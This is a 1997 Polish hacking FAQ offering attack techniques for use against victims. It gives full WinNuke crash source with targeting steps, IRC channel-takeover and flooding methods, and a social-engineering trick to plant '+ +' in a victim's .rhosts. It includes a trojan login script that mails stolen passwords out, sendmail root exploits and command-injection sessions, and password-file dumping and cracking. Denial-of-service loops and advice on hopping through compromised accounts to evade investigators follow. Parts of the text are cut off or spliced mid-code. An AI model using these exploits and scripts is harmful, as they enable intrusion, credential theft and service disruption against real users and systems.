file downloaded from http://polbox.com/0/0800/ P0WER'S HACK FAQ ver 0.4+ beta 25.7.97 Dobra zaczne od tego, ze nie ponosze zadnej odpowiedzialnosci jezeli ktos zrobi sobie krzywde lub straci dostep do internetu. Sa to wiadomosci napisane w celach edukacyjnych ;) Ah i jeszcze cos, czesc materialow sam wymyslilem, a czesc to tylko zwalone i przetlumaczone kawalki z innych hack faq! I Czesc pierwsza, czyli hackowanie IRC 1Triki IRC....................................: P0WER 2 Skrypty ....................................: P0WER 3 Przejmowanie kanalu.........................: P0WER 4 Boty........................................: P0WER U5 Winnuke , port 139 .........................: P0WER 6 Wlam na konto dzieki IRC....................: P0WER 7 Jak namierzac i nukowac gosci na irc........: lcamtuf II Czesc druga, czyli poczta. 1 Wysylanie fakemaila.........................: P0WER 2 Hackowanie sendmaila starszego niz 5.55.....: P0WER N3 Root z sendmaila 8.8.4......................: MaLc00Lm + P0WER N4 SENDMAIL 5.64...............................: lcamtuf N5 SENDMAIL 5.65...............................: lcamtuf N6 SENDMAIL 8.6.7..............................: lcamtuf N7 SENDMAIL 5.x................................: lcamtuf N8 SENDMAIL 4.1................................: lcamtuf N9 SENDMAIL 8.6.9..............................: lcamtuf N10 SENDMAIL 8.6.?.............................: lcamtuf III Jak hackowac, by nie narobic sobie klopotow. 1 Podstawy....................................: P0WER 2 Jak sie wlamac bezpiecznie..................: lcamtuf IV Unix - to slowo mowi wszystko. 1 Jak zdobyc hasla, jesli sa shadowane........: P0WER + lcamtuf 2 Jak dekryptowac hasla Unixa.................: P0WER 3 Komendy Unixa...............................: P0WER 4 Finger......................................: P0WER 5 Jak komus zamknac konto(czasowo)............: P0WER 6 Anonymous FTP...............................: P0WER 7 Wlamac sie do servera jako guest............: lcamtuf 8 Ping flood..................................: P0WER 9 Jak kogos nastraszyc........................: P0WER 10 Do czego sluza pliki .xxxxx ...............: P0WER 11 Sciaganie passwd...........................: P0WER 12 Jak zalozyc nowe konto.....................: P0WER N13 ident-scan.c - skanuje dziury servera......: P0WER N14 kill all processes.........................: P0WER V Dziury w WWW. 1 phf.........................................: P0WER 2 php.........................................: P0WER N3 phpscan.c - skaner php......................: P0WER N4 phpget.c - a jak myslisz???.................: P0WER VI Klopoty....................................: P0WER VII Unix bugs.................................: lcamtuf VIII Skrypty java 1Killer java..................................: lcamtuf 2Okno javy....................................: Angel IX Windown NT.................................: lcamtuf X Cos dla lamerow.............................: P0WER NXI Phreak.....................................: AnGeL U - Updated N - New 1 Podejrzenia. ------------------------------------- I Hackowanie IRC (no moze troche przesadzilem) 1 Triki IRC : P0WER - Fakeowanie mass deopa. o Zmien nicka na mode o /me change "-oooo " on channel by o mozesz dolozyc tez skrypt, ktor automatycznie bedzie dodawal nick opow. - Glupi zart o Zapros kogos na kanal #5,0 , jesli tam wejdzie, zostanie wyrzucony ze wszystkich kanalow irc. - Zdejmowanie +r o Napisz /mode -r+iw - uwaga to juz nie dziala na wielu serverach:( 2 Skrypty : P0WER Dzis coraz wiecej osob uzywa roznych skryptow podczas pracy na IRC, sa to skrypty pozdrawiajace i takie inne bzdety, ale na oczywiscie interesuja skrypty wojenne tzw warscripts i ochronne portection scripts. - Skrypty wojenne: Sa to skrypty sluzace do utrudniania zycia innym uzytkownikom irc , lub po prostu do ich wyrzucania z IRC. Działaja one glownie za zasadzie floodowania, co pozwala czasem wyrzucic uzytkownika z IRC, lub wkurwi go tak, ze sam sobie pojdzie. Istnieja dwa glowne programy do IRC pod shita95. Pirch i Mirc. Obydwa posiadaja setki skryptow wojennych, ktore mozna znalezc na wielu stronach www (nie pytajcie mnie gdzie). Nie polece wam tez zadnego skryptu wojennego, bo do Mirc testowalem kilka i wszystkie byly slabe, a do Pircha sam napisalem sobie skrypt. Nie bede tutaj tlumaczyl metod dzialania takich skryptow, ale wymienie kilka podstawowych. ctcp flood - floodowanie poprzez ping, version i inne funkcje ctcp, ktore powoduje wyrzucenie uzytkownika z IRC. Zeby efekt Zeby efekt byl szybszy i skuteczniejszy najlepiej jest floodzic kogos z kilku clonow (sa one dostepne w lepszych werjach skryptow) Dcc chat i send - Posylanie komus wielu lewych plikow i chatow, co w lamerskich programach do irc powoduje otwieranie sie wielu okienek. Msg flood - Powoduje to otwieranie sie wielu okienek z glupimi tekstami, co jest strasznie wkuzajace. - Skrypty do protekcji Ale wszystko ma swoje czarne strony, bo istnieja skrypty do protekcji sa to skrypty ktore powoduja ignorowanie adresu ip z ktorego floodujemy klijenta, wtedy trzeba uzywac sprytu, lup poszukac slabych stron przeciwnika. (co sie bede o gownach rozpisywal) 3 Przejmowanie kanalu : P0WER - Narzedzia - potrzebujesz Link lokkera(polecam windows link lookera pod shita 95) i Multi colider bots(choc to drugie nie jest niezbedne). - Odpalamy Link lookera i szukamy serverow, ktore odlaczyly sie od naszej sieci. - Laczymy sie z odlaczonym serverem i wchodzimy na kanal, ktory nas interesuje, jezeli kanal byl pusty, a my nie mielismy +r to otrzymamy opa. - Teraz warto siedziec po drugiej stronie, gdzie wszyscy siedza na kanale i spisac kto ma opa. - Nie jest to niezbedne, ale jesli kanalem rzadza ludzie doswiadczeni, to lepiej odpalic multi colide bots, lub stworzyc dodatkowe sesje po odlaczonej stronie splita, z nikami ludzi, ktorzy maja opa na kanale, ktory jest celem. - Czekamy na polaczenie(czasem sie nie doczekamy bo trwa to kilka dni, a czasem trwa kilka minut, wiec trzeba sie spieszyc). - Po polaczeniu czekamy az wszystkie nasz sesje zabija sie z sesjami osob po drugiej stronie, ktore mialy opa. - Pozniej po pelnej wymianie informacji przez servery mamy opa na obydwu serverach i wtedy odbieramy opa wszystkim pozostalym osoba, ktorym udalo sie przetrwac atak i kanal jest nasz. - nie musze chyba mowic co wtedy robimy z kanalem: Invited only, key, topic: Hacked by, moderate i inne takie wkurwiacze niszczace kanal!!!! - Moze zdarzyc sie tez, ze namieszamy tak, ze servery nie beda mogly sie dogadac i powstana lagi i desynchronizacje, wtedy servery beda polaczone, ale kanaly tak do konca nie no i trzeba bedzie probowac jeszcze raz. - Wiem ze moze niezbyt jasno opisalem ta metode, ale mowi sie trudno:) 4 Bot : P0WER Dobra to odddzielna sprawa i malo majaca wspolnego z haczeniem, wiec powiem tylko poniewaz wielu ludzi pyta mnie jak zalozyc bota , ze trzeba miec konto unixowe!!!(np na zhaczonym serverze), czes botow wymaga takze, zeby server mial klijenta irc, czyli, ze jak telnetujesz sie na niego i napiszesz irc, to wylondujesz w Irc. Proste no nie!!!!!! 5 Winnuke, port 139 : P0WER Program winnuke sluzy do usypiania modemu pod shitem 95 lub NT. Dzieje sie to glownie podczas sesji IRC, poniewaz tylko tam mozna sprawdzic jaki kto ma adres ip. Jest to taka chamowa, ze nie wystarczy wylaczyc i wlaczyc modemu, by znow polaczyc sie z Internetem, trzeba po prostu zresetowac windowsy. Ponizej macie kod zrodlowy tego programu. --- CUT HERE --- /* winnuke.c - (05/07/97) By _eci */ /* Tested on Linux 2.0.30, SunOS 5.5.1, and BSDI 2.1 */ #include #include #include #include #include #include #include #define dport 139 /* Attack port: 139 is what we want */ int x, s; char *str = "Bye"; /* Makes no diff */ struct sockaddr_in addr, spoofedaddr; struct hostent *host; int open_sock(int sock, char *server, int port) { struct sockaddr_in blah; struct hostent *he; bzero((char *)&blah,sizeof(blah)); blah.sin_family=AF_INET; blah.sin_addr.s_addr=inet_addr(server); blah.sin_port=htons(port); if ((he = gethostbyname(server)) != NULL) { bcopy(he->h_addr, (char *)&blah.sin_addr, he->h_length); } else { if ((blah.sin_addr.s_addr = inet_addr(server)) < 0) { perror("gethostbyname()"); return(-3); } } if (connect(sock,(struct sockaddr *)&blah,16)==-1) { perror("connect()"); close(sock); return(-4); } printf("Connected to [%s:%d].\n",server,port); return; } void main(int argc, char *argv[]) { if (argc != 2) { printf("Usage: %s \n",argv[0]); exit(0); } if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) { perror("socket()"); exit(-1); } open_sock(s,argv[1],dport); printf("Sending crash... "); send(s,str,strlen(str),MSG_OOB); usleep(100000); printf("Done!\n"); close(s); } -----CUT HERE------ 1 Przegraj to na jakies konto unixowe. 2 Zmien nazwe na win.c 3 skompiluj: gcc win.c 4 teraz wystarczy napisac ./a.out cel 5cel to adres domeny, lub ip goscia np: ppp2-cst323.warszawa.tpnet.pl lub 194.160.132.70 ale pamietajcie ze dziala tylko naludzi z shitem 95 lun NT A teraz powiem jak sie przed tym zabezpieczyc, przynajmniej na shicie 95. - Uruchom program "regedit.exe" , znajduje sie on w katalogu twoich winow. - Wejdz do podkatalogu Hkey_Local_Machine\System\CurrentControlSet\Services\VxD\MSTCP - Potem nacisnij "Edycja" , "Nowy" , "Wartosc ciagu" i wpisz "BSDUrgent" - Pozniej nacisnij "Edycja" , "Modyfikuj" i w pode "Dane wartosci" wpisz 0 (zero) Nie zapomnij potem zresetowac komputera. 6 Wlam na konto dzieki IRC : P0WER Jesli dodasz "+ +" do czyjego pliku .rhosts spowodujesz, ze kazdy system bedzie zaufany dla jego konta. Pozwoli ci to na Remote login na jego konto bez podania hasla. Jednym ze sposobow dodania tej linijki moze byc dodanie jej do jakiegos popularnego skryptu IRC. Mozna tez napisac wlasny skrypt i go zainfekowac. Oto linijka jak trzeba dodac: "exec echo + + > $HOME/.rhosts"... Lecz jesli uzytkownik jest glupi a ty bedziesz mial troche szczescia mozesz dodac ta linijke bez skryptu IRC. Mozesz powiedziec klijentowi zeby sam wpisal sobie taka inijke, ale musialal by ona wygladac tak: "/exec echo + + > $HOME/.rhosts"... W momencie kiedy palant doda "+ +" do do .rhosts wystarzy tylko wpisac: "rlogin -l " np zey zalogowac sie na konto lamer@idioci.com.pl wystarczy wpisac: rlogin idioci.com.pl -l lamer - oczywiscie z konta unixowego. Oto przyklad jak zalatwia sie tymlamera: *Victim* Dude, do you have any IRC scripts?? /whois Victim *** Victim is victim@any.system.net (John Doe) *** on channels: #oralsex *** on irc via server irc-2.mit.edu () /exec echo "exec echo + + > $HOME/.rhosts" >> fenix.irc /dcc send Victim fenix.irc *** Sent DCC SEND request to Victim *** DCC SEND connection to Victim[123.456.0.0,1383] established *** DCC SEND:/home/myuser/fenix.irc to Victim completed 0.04004 kb/sec /msg victim just type: /load fenix.irc -> *victim* just type: /load fenix.irc *Victim* Ok, I did... thanks. /msg victim no problem. -> *victim* no problem. /quit I am lame *** Signoff: me (I am lame) % rlogin any.system.net -l victim Last login: Tue Feb 14 16:49:42 from secure.bellcore.com SunOS Release 4.1.3 (ANY) #2: Fri Sep 9 06:12:28 PDT 1994 Default terminal emulation is vt100 For temporary storage please use /tmp You have mail. ANY% ls misc_porno littleboy_nudes ANY% exit Connection closed. % A tutaj maly dodatek. .login 'trojan' shell script, ktory zastepuje .login file skryptem, ktory podczas logowania bedzie pokazywal, ze uzytkowniko podal zle haslo. Haslo bedzie przesylane na twoj adres maila, wiec widniejacy tam adres zamien na twoj(ale jakis darmowy, zeby cie nie dupneli). Mozesz uzywac tego po wejsciu na czyjes konto dzieki .rlogins jesli koniecznie chcesz znac haslo klijenta. Skrypt: ----START SCRIPT---- #!/bin/sh rm -rf $0 cp $HOME/.login $HOME/.l echo ''>$HOME/.hushlogin echo "stty intr '^@' echo 'Login incorrect' echo -n 'login: ' echo $<>.t echo -n 'Password: ' stty -echo echo $<>>.t mail yourname@your.mail.account.com<.t rm .t cat /etc/motd mv .l .login rm .hushlogin stty echo source .login">$HOME/.login ----END SCRIPT---- 7 ** JAK NAMIERZAC I NUKOWAC GOSCI NA IRCU : lcamtuf ** NAMIERZANIE (nie dziala na laczacych sie przez tpnet): Vrfy - patrzycie na irc-adres goscia (whois), powiedzmy ze jest to lamer@komuter1.uczelnia.com. Nastepnie odpalacie telnet i patrzycie, czy mozna sie polaczyc z portem 25 serwera komuter1.uczelnia.com. Jesli tak to wpiszcie "vrfy lamer" (w miejsce "lamer" to co gosciu ma przed znaczkiem @ w irc-adresie). Jesli sie pojawi np. "Maciej Lamerski " to macie juz imie, nazwisko i e-mail na ktory mozna wysylac mail-bomby... Moze tez sie pojawic np. "cannot verify user", ale w takiej sytuacji e-mail to irc-adres. Jesli nie dziala albo pojawia sie cos w stylu "user unknown" - bierzecie DNS-skaner (dla Win95/WinNT polecam DNS-Workshop z http://sunsite.icm.edu.pl/tucows) i wpisujecie adres "komputer1.uczelnia.com". Pojawi sie cos w stylu "IP address: 194.204.105.15". Wpisujecie wtedy zamiast "komputer1.uczelnia.com" ten adres, z tym, ze ostatnia liczbe zastepujecie znakiem '*'. Pojawi sie najpewniej bardzo duuuzo IP i nazw komputerow i innego syfa, np: 194.204.105.0: No data 194.204.105.1: No data ....... 194.204.105.14: router.uczelnia.com ....... 194.204.105.15: komputer1.uczelnia.com 194.204.105.16: komputer2.uczelnia.com ....... 194.204.105.50: sklep1.mleczarnia.org.pl ....... (i tak dalej...) Interesujacy jest adres wystepujacy na ogol przed stacjami roboczymi (komputerX), czyli router.uczelnia.com (zamiast router moze to byc: linux, unix, boss, main, zenon, angel :-). W kazdym razie ten oraz ew. kilka podobnych adresow sprawdzamy telnetem - jesli dziala im port 25 i "rozpoznaja" (vrfy!) uzytkownika "lamer" (czy innego szukanego...) - sukces, mamy goscia - jego e-mail to lamer@router.uczelnia.c om. Tak przy okazji oczywiscie dla wszystkich znalezionych komputerow warto sprawdzic sendmaila, phf, ftp i wszystko inne, a na koniec nukowac wszystkie komputery robocze, bo najpewniej to sa windowsy :-) ** ROZWALANIE W RAZIE GDY WINNUKE NIE DZIALA 1. Na chama - nukujemy wszystkie komputery znalezione metoda poprzednia 2. Finger - jesli facet siedzi na unixie i ma irc-adres lamer@router.uczelni a.com) to mozna wyslac do niego finger (na adres lamer@router.uczelnia.com). Unix zwroci dane delikwenta, komputer na ktorym ircuje (np. komputer1.uczelnia.com). I TU GO MACIE, trzeba nukowac nie serwer router.uczelnia.com, bo on pracuje na unixie, ale komputer klienta, ktory najpewniej siedzi na windowsach - komputer1.uczelnia.com II Poczta 1 Wysylanie fakemaili : P0WER - telnetuj sie na port 25 ( telnet mim.pcz.czest.pl 25 ) - Jezeli to mozliwe pomin "HELO" - pisz: mail from: {adres z jakiego chcesz to wyslac} - pisz: rcpt to: {osoba do ktorej piszesz list} - server pocztowy powinien pisac ok po kazdej funkcji. - jezeli cos nie bedzie gralo sprobuj jeszcze raz, ale zacznij od "HELLO" - pozniej wpisz: data {ENTER} - wpisz zawartosc listu - na koncu napis: . - a pozniej: quit - jesli odbiorca to lamer, to nie dojdzie do ciebie po naglowku listu, a jezeli jest dobry, to sprobuj uzyc serverow, ktore nie dopisuja twojego ip do listu(pozniej moze poszukam takich serverow). 2 Hackowanie starszego sendmaila niz 5.55 (sprawdzone na SunOs 4.1) : P0WER {telnetuj sie na port 25} telnet mail.twoj.cel.pl 25 (albo wpisz lepiej 25 w okienku z portem) {po dolaczeniu serwer napisze} {220 ........} mail from: "|/bin/mail twoj@email.pl < /etc/passwd" {250 .....} rcpt to: mickeymouse {550 mickeymouse .. user unknown (nie pekaj)} data . quit {wszystko co nie jest w nawiasach wpisujesz ty[to dla lamerow]) 3 Root z senmaila 8.8.4 : MaLc00Lm - Musisz miec mozliwosc pisania do /var/tmp/dead.letter . - potem robisz linka: ln /etc/passwd /var/tmp/dead.letter wszystko to na koncie ktore musisz miec na tym hoscie - potem telnet na 25 - wysylasz maila FROM: jakis@palant.bla.bla - TO: jakis@nie.istniejacy.adres - DATA: hacker::0:0::/:/bin/sh - list nie trafia nigdzie i jest zapisywany w pliku dead.letter, i jednoczesnie w etc/passwd - no i masz nowe konto hacker z uprawnieniami roota dead.letter moze byc czasem w innym katalogu(np uzytkownika) , wtedy uzyj find'a find / -name dead.letter A to masz programik, ktory zrobi wszystko za ciebie: ---cut here--- #!/bin/bash clear echo echo Sendmail 8.8.4 and 8.8.5 local exploit. echo Scripting by p1 \(peewun@heterosexual.com\) on 4-15-97. echo if [ $1 = "-rm" ] then echo Removing /var/tmp/dead.letter echo rm -rf /var/tmp/dead.letter echo Attempting to continue with exploit. echo fi if [ -e /var/tmp/dead.letter ] then echo File exists: /var/tmp/dead.letter echo echo If you wish to run this exploit, please delete it by running this echo exploit with the -rm flag. echo exit fi ln -s /etc/passwd /var/tmp/dead.letter cat >> unf << _EOF_ helo mail from: very@bad.address.here rcpt to: another@bad.bad.address data owned::0:0:exploitation:/:/bin/sh . _EOF_ cat unf | telnet localhost 25 >> /dev/null rm -rf unf echo echo Please wait for dead.letter to possibly be appended to by sendmail. echo sleep 10 if grep exploitation /etc/passwd then echo Successful addition of account 'owned' to /etc/passwd, running 'su.' su owned else echo Unsuccessful exploitation of symbolic link bug. fi ---eof--- 4 SENDMAIL 5.64 : lcamtuf Blad w programie uudecode, ktory ma dostep do .rhosts na koncie ofiary - mozemy za jego pomoca zmienic zawartosc tego pliku! Na poczatek trzeba zakodowac programem uuencode - dla leni podaje wyglad zakodowanego juz pliku: -- cut here -- $*R`K"@`` ` end -- cut here -- Teraz telnetujemy sie na serwer: "telnet ofiara.com 25". Tak wyglada sesja: 220 enterprise Sendmail 5.64/zippy-1.22.01 ready at Mon, 25 Jun 97 09:34:12 -0400 (GMT) helo hacker 250 enterprise Hello hacker (ppp2-cst15.warszawa.tpnet.pl), pleased to meet you mail from: bin 250 bin... Sender ok rcpt to: decode 250 decode... Recipient ok data 354 Enter mail, end with "." on a line by itself begin 644 /XXXX/.rhosts $*R`K"@`` ` end . 250 Ok quit 221 enterprise closing connection Hehe... Program uudecode dostanie do rozkodowania plik .rhosts zawierajacy zakodowany tekst '+ +', rozpakuje go... I mozemy bez hasla zalogowac sie na dowolne konto!!! PS. W miejsce XXXX wpiszcie nazwe konta hackowanego uzytkowwnika (/home/lamer), albo na chama - konto roota (/root)... 5 SENDMAIL 5.65 : lcamtuf Wywolanie dowolnych polecen z uprawnieniem roota? Spoko, nie trzeba miec nawet konta: 220 www.urm.gov.pl 5.65c/IDA-1.4.4 Sendmail is ready at Mon, 8 Nov 1993 19:41:13 -0500 helo hacker 250 Hello cst2-ppp32.warszawa.tpnet.pl, why do you call yourself ? mail from: |/usr/ucb/tail|/usr/bin/sh 250 |/usr/ucb/tail|/usr/bin/sh... Sender ok rcpt to: root 250 root... Recipient ok data 354 Enter mail, end with @.@ on a line by itself #!/bin/sh (...tu dowoooolne polecenia...) . 250 Ok quit 221 www.urm.gov.pl closing connection 6 SENDMAIL 8.6.7 : lcamtuf Trzeba miec konto, ale jesli sie na nim wpisze: /usr/lib/sendmail -oE/etc/shadow bounce From: (nazwa twojego konta) To dostaniesz w prezecie hasla, chocby byly shadowowane!!! Mozna tak przeczytac kazdy plik. 7 SENDMAIL 5.x : lcamtuf Utworz plik 'test' o takiej zawartosci (XXXX znaczy to samo co w #5): -- CUT HERE -- rcpt to: /XXXX/.rhosts mail from: hacker data Test sendmaila . rcpt to: /XXXX/.rhosts mail from: hacker data + + . quit -- CUT HERE -- A teraz wpisz "telnet ofiara.com 25 /tmp/a.c < #include #include #include #include reap(){int s;while(wait(&s)!=-1);}main(ac,av)int ac; int **av;{struct sockaddr_in mya;struct servent *sp ;fd_set muf;int myfd,new,x,maxfd=getdtablesize(); signal(SIGCLD,reap);if((myfd=socket(AF_INET,SOCK_STREAM, 0))<0)exit(1);mya.sin_family=AF_INET;bzero(&mya.sin_addr, sizeof(mya.sin_addr));if((sp=getservbyname(av[1],"tcp")) ==(struct servent *)0){if(atoi(av[1])<=0)exit(1);mya.sin_port =htons(atoi(av[1]));}else mya.sin_port=sp->s_port;if(bind(myfd, (struct sockaddr *)&mya,sizeof(mya)))exit(1);if(listen(myfd, 1)<0)exit(1);loop: FD_ZERO(&muf);FD_SET(myfd,&muf);if (select(myfd+1,&muf,0,0,0)!=1||!FD_ISSET(myfd,&muf))goto loop;if((new=accept(myfd,0,0))<0)goto loop;if(fork() ==0){for(x=2;x #include #include main(argc, argv) int argc; char **argv; { execlp(argv[2] ? argv[2] : "sendmail","sendmail","-odq","-p", "ascii\nCroot\nMprog, P=/bin/sh, F=lsDFMeu, A=sh -c $u\nMlocal, P=/bin/sh, F=lsDFMeu, A=sh -c $u\nR<\"|/bin/cp /bin/sh /tmp/newsh\">\nR<\"|/bin/chmod 6777 /tmp/newsh\">\n$rascii ", argv[1] ? argv[1] : "atreus",0); } -- CUT HERE -- 10 SENDMAIL 8.6.? : lcamtuf Odczytanie pliku (potrzebne konto). /usr/lib/sendmail -C/etc/shadow III Jak hackowac by nie narobic sobie klopotow. 1 Podstawy : P0WER 1 Nie zostawiaj nigdzie swojego imienia, nazwiska, telefonu i innych danych. Nie posluguj sie tez danymi innych ludzi, zawsze uzywaj falszywych danych. 2 Na zhakowanych kontach uzywaj najlepiej imion kobiecych, sa mniej podejrzane. 3 Uwazaj z kim wymieniasz wiadomosci. 4 Nie dawaj nikomu telefonu, kogo nie znasz. 5 Nie hacz komputerow rzadowych. 6 Badz podejrzliwy! 7 Zadawaj pytania, lecz rob to delikatnie i nie licz, ze ktos wytlumaczy ci wszystko od podstaw. 2 JAK SIE WLAMAC BEZPIECZNIE : lcamtuf Na podstawie swoich doswiadczen moge wam powiedziec jak bezpiecznie sie wlamac - kiedy po prostu wejdziesz przez telnet na serwer to w logach zostanie zanotowane "angel@dial003.zigzag.pl". Oto co mozna zrobic nie majac nigdzie roota ani nie bawiac sie w czyszczenie logow: 0) Po zerowe - oczywiscie korzystaj z dial-upu TPSa :-) 1) Znajdujesz 2-3 serwery i rozkodowujesz okolo 4-5 kont na kazdym. Najlepiej, zeby byly to serwery w roznych krajach, np. Hong-Kong i Polska. Powiedzmy, ze mamy takie serwery: X.com, Y.com, Z.com, ofiara.com oraz nastepujace konta: X1, X2, X3, X4, Y1, Y2, Y3..., Z1, ofiara 2) Logujesz sie na X.com jako X1, wysylasz tam "nowa" wersje strony. Pozniej przez telnet z tego konta wpisujesz "ftp Y.com" i tam logujesz sie jako "Y1"... UWAGA: Fizycznie jestes caly czas podlaczony do X.com !!! Wysylasz na Y1 pliki. Pozniej wpisujesz na koncie X1 "telnet Y.com" i piszesz "ftp X.com" i logujesz sie jako X2. Powtarzasz wszystko dla konta X2... I tak kilka razy - zajmie to z 10 razy wiecej czasu, ale zaraz zobaczysz w czym tkwi kruczek. Caly czas jestes fizycznie polaczony tylko z X.com i zalogowany na koncie X1, a plik jest juz na serwerze Y.com na koncie Y4 :-) 3) Po kilku petelkach mozesz wyslac jeszcze wszystko wrzucic na Z.com i stamtad dopiero (bedac caly czas zalogowany na X jako X1 !!!) wpisac "ftp ofiara.com" i zastapic oryginalne pliki nowymi. Pozniej wycofujesz sie kasujac za soba pliki... Najlepiej jeszcz miec roota na jednym z tych serverow i zatrzec za soba slady powiedzmy tak w polowie wyksowywujac sie z logow. I co teraz? Admin serwera ofiara.com patrzy w logi i widzi "Z1@Z.com". Pisze wiec do root@Z.com ze ten gosciu sie wlamal. Voila. Z1 idzie na spytki! Ale moze sie okazac, ze cala afera sie wyjasni i admin Z bedzie probowal szukac dalej. Zajrzy do logow i zobaczy, ze na to konto logowal sie "Y4@Y.com". Wysle wiec odpowiedni list do root@Y.com (hmmm, za granica, wiec admin musi sie niezle narobic). Ten zas powtorzy caly scenariusz, po czym skapuje sie, ze logowal sie u niego "X4@X1.com". Napisze wiec do root@X.com (znowu za granice, bo do Polski). Ten znowu powtorzy caly scenariusz i znowu napisze do roota serwera2, ze to przeciez "Y3@Y.com" sie u niego logowal :-)))) Nie ma szans, zeby admini sie jakos dogadali, zwlaszcza gdy jeden z serwerow jest poza krajem. W sumie tyle zamieszania, ze na 100% admini sie nie dogadaja, a jak sie nawet dogadaja, to minie pol roku zanim dojda do tego, ze logowal sie gosciu "noname@ppp2-cst222.warszawa.tpnet.pl"... I co? Nic... Jesli beda bardzo uparci, to wysla podanie do TPSa o ujawnienie wykazow bilingowych. Minie kilka miesiecy zanim podanie zostanie rozpatrzone, a po tym czasie wykazy TePSy beda juz od wielu miesiecy na wysypisku... Hehehe. Zdarza sie czasem, ze TPSA dziala szybciej i biling ujawnia w niedlugim czasie, ale to musieli byscie juz niezle namieszac. Poza tym przewaznie na TPSA wisi 100 - 200 modemow, wiec taki biling to nie do konca jest dowod(chyba ze na serverze siedziales kilka godzin. Dlatego trzeba dzialac szybko. (troche namacilem, ale nie wiem jak to jasniej wylozyc bo to ma byc zagmatwane na maxa). w razie problemow(pytan) to nie do mnie bo w 95% lcamtuf to napisal:) IV Unix 1 Jak zdobyc hasla, jezeli sa shadowane? : P0WER Jezeli twoj system ma Yellow Pages file managment napisz: ypcat /etc/passwd > jakis.plik Mozna tez probowac tym programikiem, ale ja osobiscie w niego nie wierze: #include main() { struct passwd *p; while(p=getpwent()) printf("%s:%s:%d:%d:%s:%s:%s\n", p->pw_name, p->pw_passwd, p->pw_uid, p->pw_gid, p->pw_gecos, p->pw_dir, p->pw_shell); } Jesli nie dziala ypcat /etc/passwd sprobuj ypcat passwd 2 Jak dekryptowac hasla unixa? : P0WER Sluza do tego programy jak John the ripper, Cracker Jack, czy Killer Crack. Ja uzywa, Johna 1.4 , ale wybor nalezy do was. Wszystkie te programy dzialaja pod Dosem. Sa tez programy pod unixa np Crack5.0, ale go nie testowalem. Opisze tu obsluge Johna. Na poczatku potrzebny jest slownik, ktore mozna znalezc na wielu stronach. nazwijmy go slownik.txt a plik z haslami ktory posiadamy passwd.txt pierwsza metoda dziala bez slownika, jest najprostsza. john -single -pwfile:passwd.txt druga metoda dziala ze slownikiem. john -pwfile:passwd.txt -wordfile:slownik.txt trzecia metoda posluguje sie slownikiem i kombinacjami, jezesli -single trwa kilka sekund, to -rulez kilka godzin, lecz to zalezy od slownika i ilosci kont(powiedzmy 5 godz , przy 100 kontach i P150) john -rules -pwfile:passwd.txt -wordfile:slownik.txt 3 Podstawowe komendy unixa : P0WER cat - przeglada plik jak view. np: cat /etc/passwd ;) chmod [mode] [plik] - zmiana dostepow do pliku. chown [nick] [plik] - zmiana wlasciciela pliku. cd [dir] - zmiana katalogu, cd .. cofanie sie o ktalog cp [plik] [plik] - kopiowanie z nowa nazwa. diff [plik] [plik] - pokazywanie roznicy miedzy dwoma plikami. -b -ignoruj puste miejsca find [skad_zaczac] -name [nazwa] - poszukiwanie plikow np: find / -name passwd finger [username] - informacje o uzytkowniku. Mozna tez z zewnatrz finger user@server.pl gcc plik - kompilacja grep [wyraz] [nazwa pliku] - przeszukiwanie plikow za jakims wyrazem. help - pomoc irc - uruchomienie klijenta irc. kill - ma powiazania z ps , moze zabijac procesy w pamieci korzystjac z numeru PID.(patrz ps) $ kill -9 123 [123]: killed mozna tez zabic siebie "kill -1 0" ls - listowanie plikow ls -l daje wiecej info o plikach i katalogach. man [komenda] - pomoc w konkretnej komendzie. mail - czytanie poczty mkdir [katalog] - tworzenie nowego katalogu. mv [plik] [plik] - zmiana nazwy pliku, lub przeniesienie do innego katalogu. passwd - zmiana hasla. ps - pokazuje co robisz w pamieci i jaki to ma numer (PID) PID TTY NAME 122 001 ksh 123 001 watch pwd - pokazuje w jakim jestesmu katalogu. rm [plik] - kasuje plik rmdir [katalog] - kasuje katalog gdy jest pusty. rwho - to samo co who. screen - dopalanie procesu w tle, np: by zostawic ircbota. tar -xvf 8.tar - roztarowywanie pliku. who - wypisuje info o zalogowanych uzytkownikach. write [login] - pisanie do innego zalogowanego uzytkownika. 4 Finger : P0WER Czesc serverow zezwala na przesylanie fingera do innego hosta(redirections). $ finger @host.jeden.pl@host.dwa.pl finger pojdzie przes system jeden do drugiego, az tamten dowie sie ze to pierwszy host poslal finger. Moze to byc uzywane do ukrycia fingera, lub jako bardzo dokuczliwy trik. Piszac: $ finger @@@@@@@@@@@@@@@@@@@@@@@@@@@@@host.ktory.atakujesz.pl Wtedy wszystkie @ beda powodowaly powtorzenia fingera po raz kolejny, moze to doprowadzic do zwolnienia dzialania servera, zajecia mu czesci pamieci i twardego dysku. (robiac tak w kilku mozna niezle zamieszac w serverze) 5 JAk komus zamknac konto(czasowo) : P0WER Niektore servery zamykaja dostep do konta po kilku nieudanych probach podania hasla, lub po odczekaniu zbyt wielu sekund przy logowaniu. Mozesz w ten sposob pozbawic jakiegos uzytkownika konta na jakis czas, ale wystarczy ze poprosi on roota, a konto zostanie odblokowane. Takie mozliwosci sa najczescie na serverach uczelnianych, np po trzech zlych loginach nalezy podac specjalne haslo, bo jak nie to konto jest zamrazane. 6 Anonymous FTP : P0WER Gdy server posiada Anonymous FTP z zapisywalnymi obszarami mozna bardzo latwo namieszac. Na przyklad zapychajac twardziela. Na przyklad takim programem: while : ; mkdir .xxx cd .xxx done {choc nie wiem czy cokolwiek odpalicie przez ftp, ale jest przeciez jeszcze guest) Poza tym to swietny sposob na zapchanie twardziela jesli juz wejdziesz do srodka. 7 Wlamac sie do servera jako guest : lcamtuf -Zaloguj sie jako guest przez telnet (admin musi byc malo rozgarniety, zeby zostawic ta dziurke). -Korzystajac z zapisywalnych obszarow, czyli np katalogu typu trash, lub tmp nagrac, skompilowac i uruchomic taki programik w C: #include void main(void) { struct passwd *p; while (p=getpwent()) printf("%s:%s:%d:%d:%s:%s:%s\n", p->pw_name, p->p_passwd, p->pw_uid, p->pw_gid, p->pw_gecos, p->pw_dir, p->pw_shell); } dzieki temu otrzymasz plik z haslami. A potem to juz chyba wiesz co robic!!! Lecz to dziala juz tylko na starych systemach Unixa. 8 Ping flood : P0WER Nie to nie irc, to unix. Tutaj mozna poslac takze ping ping -s host (Unix) powoduje wyslanie 64 bajtow do hosta. W Shicie 95 tez mozna poslac pinga. NAcisniej klawisz "start", potem "uruchom" i wpisz: PING -T -L 256 xxx.xxx.xxx.pl - taki tekst wystartuje okolo 15 sesji. ale co sie bedziemy rozdrabniac, przeciez chcemy 